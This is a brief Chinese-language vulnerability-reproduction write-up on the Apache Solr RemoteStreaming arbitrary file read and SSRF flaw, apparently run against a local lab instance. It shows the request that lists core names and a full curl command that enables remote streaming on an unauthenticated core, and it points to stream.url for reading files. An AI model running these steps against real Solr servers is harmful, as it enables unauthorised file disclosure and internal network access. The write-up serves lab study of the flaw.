Apache Solr RemoteStreaming 任意文件读取和 SSRF

Apache Solr RemoteStreaming 任意文件读取和 SSRF

Apache Solr 是一个开源搜索服务器。当 Apache Solr 不启用身份验证时,攻击者可以直接制造请求以启用特定配置,最终导致 SSRF 或任意文件读取。

参考:

漏洞复现

环境启动后,浏览器http://192.168.44.132:8983查看Apache Solr。

首先,访问http://192.168.44.132:8983/solr/admin/cores?indexInfo=false&wt=json提取数据库名称:

![image-20220112151942073](Apache Solr RemoteStreaming 任意文件读取和 SSRF/image-20220112151942073.png)

发送如下请求,修改数据库配置demo启用RemoteStreaming

1
2
3
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://192.168.44.132:8983/solr/demo/config'

![image-20220112152051635](Apache Solr RemoteStreaming 任意文件读取和 SSRF/image-20220112152051635.png)

然后通过stream.url以下方式读取任意文件:

![image-20220112152404255](Apache Solr RemoteStreaming 任意文件读取和 SSRF/image-20220112152404255.png)

0%